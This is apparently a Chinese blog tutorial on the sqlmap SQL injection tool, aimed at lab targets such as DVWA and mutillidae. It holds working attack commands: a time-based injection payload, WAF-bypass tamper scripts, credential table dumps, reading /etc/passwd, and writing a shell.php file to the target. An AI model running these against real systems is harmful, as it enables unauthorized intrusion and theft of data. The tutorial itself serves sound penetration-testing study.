sqlmap

sqlmap是一款强大的SQL注入自动化工具,通过多种检测技术,如布尔型、时间型、错误型等盲注,以及Union查询,进行SQL注入检测。它可以指定目标URL、参数、优化选项,并能进行枚举数据库、用户、表、列等操作,甚至可以访问文件系统。通过设置不同的参数,如`--threads`、`--delay`和`--timeout`,可以调整并发、延迟和超时。此外,sqlmap还支持对HTTP头部的修改和身份验证,以及利用注入漏洞读取和写入文件。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

sqlmap

五种漏洞检测技术
  • 基于布尔类型的盲注检测
    • 依靠真假检测
  • 基于时间类型的盲注检测
    • ' and select * from (select(sleep(20))a)--
    • 过二十秒再执行
  • 基于错误的检测
    • 根据数据库返回的错误信息检测
  • 基于union的联合查询
    • 试用于循环输出
    • 没有循环可以使用limit
  • 基于堆叠的查询
    • 使用分号,同时执行多个命令
Target:指定目标
  1. -u 指定检测网站的url
    • sqlmap -u "http://172.20.10.2/mutillidae/index.php?page=user-info.php&username=1&password=2&user-info-php- submit-button=View+Account+Details" -p username -f
    • -p 指定可以测试的参数
    • -f 执行广泛的DBMS版本指纹检查
      • 使用了四种检测技术检测是否存在sql注入。并且查到了数据库的信息
      • 将查询信息保存在/root/.sqlmap/output/172.20.10.2
    • –users 枚举数据库管理系统用户
    • –dbs 枚举数据库管理系统数据库
    • –banner 获取数据库管理系统的标识
    • –schema 枚举数据库的结构
    • -a 获取所有信息
  2. -m xxx.txt指定一个文件,探查识别txt文件中所有的url
  3. -d 指定账号密码连接数据库,作为客户端查询
    sqlmap -d "mysql://user:password@172.20.10.2:3306/dvwa"
  4. -r 指定一个有http请求文件(post请求)
    sqlmap -r request.txt
  5. -l 从Burpsuite的代理日志文件中分析目标
  6. -c从sqlmap的配置文件中加载
request:请求
  1. –data 适用于 post:
    * sqlmap -u "http://192.168.0.104/mutillidae/index.php?page=login.php" --data="username=1&password=1&login-php-submit-button=Login" --dbs
    * 查询结果:
    * --param-del=";" 规定数据的分隔符为“;”,默认为“&”
  2. –cookie="xx"
    * sqlmap -u "http://192.168.0.104/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=500d6a397f5c5d8ce0b13a33e37b57c8" --dbs
    * 查询结果:
    * web应用基于cookie身份验证
    * 检查cookie是否存在注入需要level>=2
  3. –user-agent
    * 默认情况下sqlmap的HTTP请求头中User-Agent值是:sqlmap/1.0-dev-xxxxxxx(http://sqlmap.org)可以使用–user-agent参数来修改
    * 由火狐浏览器发起的请求头
  4. –random-agent
    * 随机使用/usr/share/golismero/tools/sqlmap/txt/user-agents.txt中存有的useragent
    * 文件部分内容:
    * 显示如下内容时,可能是由于user-agent被过滤
    [ERROR] the target URL responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --useragent or --random-agent
  5. –host=“xxx”
    * 更改主机名
    * 检查是否可以注入的等级需要>=5
  6. –referer=“xxx”
    * 更改referer值
  7. –headers="host:www.a.com \nUser-Agent:xxxx"
    * 大小写敏感
    * \n是换行符
  8. –auth-type Basic --auth-cred "user:pass"
    * Basic, Digest, NTLM or PKI
    * 基于http的身份验证
    * --auth-cred 认证凭证
  9. –delay="10"
    * 可以设定两个HTTP(S)请求间的延迟,设定为0.5的时候是半秒,默认是没有延迟的。
  10. –timeout="20"
    * 请求超时时间,默认30秒
  11. –retries
    * http(s)连接超时重试次数,默认三次
  12. –randomize=id
    * 指定参数每次请求长度类型与原始值保持一致
  13. –scope
    * 后面可以加上正则表达式可以进行指定页面检测
    * sqlmap -l burp.log --scope="(17)?\.20\.10\.(1|14|140|15)" --level=3 --dbs检测在burp.log日志里17?.20.10下四个ip地址的sql注入
    * 识别出日志中的ip
    * level=3会对cookie和user-agent,referer也进行sql注入检测
  14. –safe-url=SAFEURL
    * 提供一个安全不错误的连接,每隔一段时间都会去访问一下,防止错误请求过多被过滤
  15. –skip-urlencode
    * 跳过url编码
    * 默认get会对传输内容编码,不规范的web服务器使用原始数据字符提交数据
  16. –eval
    * 每次请求执行指定的python代码
    * 每次请求更改新的参数值
    * hash会估计id进行变化所以可以使用python每次id改变时更改hash值
    sqlmap.py -u”http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b“–eval=”import hashlib;hash=hashlib.md5(id).hexdigest()”
Optimization:优化
  1. –predict-output
    * 根据检查方法,比对返回值和统计表内容 ,不断缩小检测范围,提高效率
    * 统计表位置:/usr/share/sqlmap/data/txt/common-outputs.txt
    * 与–threads不兼容
  2. –keep-alive
    * 使用http(s)长连接,性能好
    * 比较占用服务器资源,避免重复建立连接的网络开销。
    * 与–proxy不兼容
  3. –null-connection
    * 只获取相应页面大小,而非页面具体内容
    * 与–text-only参数 不兼容(根据页面内容判断真假)
  4. –threads
    * 最大线程并发数
    * 盲注时每一个线程获取一个字符(7次请求)
    * 默认是1,建议不要超过10
  5. -o
    * 开启前三个参数
Injection:注入
  1. -p
    * 指定扫描的参数,比如只想扫描username,user-agent: -p "username,useragent"
    * 指定扫描的参数,–level会失效
  2. –skip
    * 排除扫描的指定参数
    * 当level等级较高,部分内容不想扫描,可以使用--skip="id,user-agent"不去扫描这两个参数
  3. URI注入点
    * 在URI上加上*,sqlmap会识别参数使用payload检测
    * sqlmap -u "http://target/param1/value1*/value2"
  4. –dbms="mysql"
    * 指定用mysql进行探测目标,可以提高效率
    * 可以加上版本号,越精确效率越高
  5. –invalid-bignum/–invalid-logical
    * 默认sqlmap使参数失效是在前面加符号(id=1->id=-1)
    * bignum使用大的数值使参数失效 (id=999999)
    * logical 使用布尔类型使取值失效 (id=1 AND 1=2)
  6. –no–cast
    * 关闭字符转换,不使用空格代替null
    * 老版本mysql需要使用这个参数
  7. –no-escape
    * 将字符使用char()编码
    * ‘foo’->char(102)+char(111)+char(111)
  8. –prefix/–suffix=
    * 注入payload字符串前缀/后缀
  9. –tamper
    * 使用混淆的脚本,绕过应用层过滤,IPS,WAF
    * --tamper="between.py,least.py"
    * 该目录下全是可以使用的脚本
Detection:检测
  1. –level
    * 测试等级(默认1)
    * 在/usr/share/sqlmap/data/xml/payloads有所有的测试语句的文件: boolean_blind.xml error_based.xml inline_query.xml stacked_queries.xml time_blind.xml union_query.xml
  2. –risk
    * 更改风险等级(默认1 无害)
    * risk升高可能会有篡改数据的风险(update)
  3. 真假页面比较参数:
    * --string="" 查询时有效时在页面匹配字符串
    * --not-string="" 当查询求值为无效时匹配的字符串
    * --regexp="" 查询时有效时在页面匹配正则表达式
    * --code="" 当查询求值为True时匹配的HTTP代码
    * --text-only 仅基于在文本内容比较网页
    * --titles 仅根据他们的标题进行比较
enumeration:枚举
  1. -a, –all 获取所有信息
    -b, –banner 获取数据库管理系统的标识
    –current-user 获取数据库管理系统当前用户
    –current-db 获取数据库管理系统当前数据库
    –hostname 获取数据库服务器的主机名称
    –is-dba 检测DBMS当前用户是否DBA
    –users 枚举数据库管理系统用户
    –passwords 枚举数据库管理系统用户密码哈希
    –privileges 枚举数据库管理系统用户的权限
    –roles 枚举数据库管理系统用户的角色
    –dbs 枚举数据库管理系统数据库
    –tables 枚举的DBMS数据库中的表
    –columns 枚举DBMS数据库表列
    –schema 枚举数据库架构
    –count 检索表的项目数,有时候用户只想获取表中的数据个数而不是具体的内容,那么就可以使用这个参数:sqlmap.py -u url –count -D testdb
    –dump 转储数据库表项
    –dump-all 转储数据库所有表项
    –search 搜索列(S),表(S)和/或数据库名称(S)
    –comments 获取DBMS注释
    -D DB 要进行枚举的指定数据库名
    -T BL DBMS数据库表枚举
    -C COL DBMS数据库表列枚举
    -X EXCLUDECOL DBMS数据库表不进行枚举
    -U USER 用来进行枚举的数据库用户
    –exclude-sysdbs 枚举表时排除系统数据库
    –pivot-column=P… Pivot columnname
    –where=DUMPWHERE Use WHEREcondition while table dumping
    –start=LIMITSTART 获取第一个查询输出数据位置
    –stop=LIMITSTOP 获取最后查询的输出数据
    –first=FIRSTCHAR 第一个查询输出字的字符获取
    –last=LASTCHAR 最后查询的输出字字符获取
    –sql-query=QUERY 要执行的SQL语句
    –sql-shell 提示交互式SQL的shell
    –sql-file=SQLFILE 要执行的SQL文件

  2. –table
    * 获取数据库中的表
    *

  3. –column
    * 获取数据库表里的字段名
    *

  4. 叠加使用:查询dvwa数据库下的users表下的user字段下内容数量
    * sqlmap -u "http://172.20.10.14/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details" -p "username" -D dvwa -T users -C user --count
    * 结果如下:

  5. 获取元数据
    * --schema --batch --exclude-sysdbs会从数据库信息表里搜索所有表信息
    * –batch使用默认选项,不再询问

  6. –dump
    * 获取数据
    * sqlmap -u "http://172.20.10.14/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details" -p "username" -D dvwa -T users --dump
    * 发现hash值可以直接帮助破解
    * 结果保存在.sqlmap/out文件下:

访问文件系统
  1. –file-read="/etc/passwd"
    * 从后端的数据库管理系统文件系统读取文件
  2. –file-write=“shell.php” --file-dest “/tmp/shell.php”
    * 将本地的文件写入目标
使用sqlmap利用sql注入漏洞
  1. 使用sqlmap扫描发现存在sql注入漏洞后可以按顺序使用下列命令来查询出账号密码
  2. sqlmap -u url -dbs 查看数据库名
  3. sqlmap -u url -D "数据库名 -tables"查看对应数据库下的数据库表
  4. sqlmap -u url -D "数据库名" -T "表名" -colums查看对应的列名
  5. sqlmap -u url -D "数据库名" -T "表名" -C "列名" -dump查看对应的字段值
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值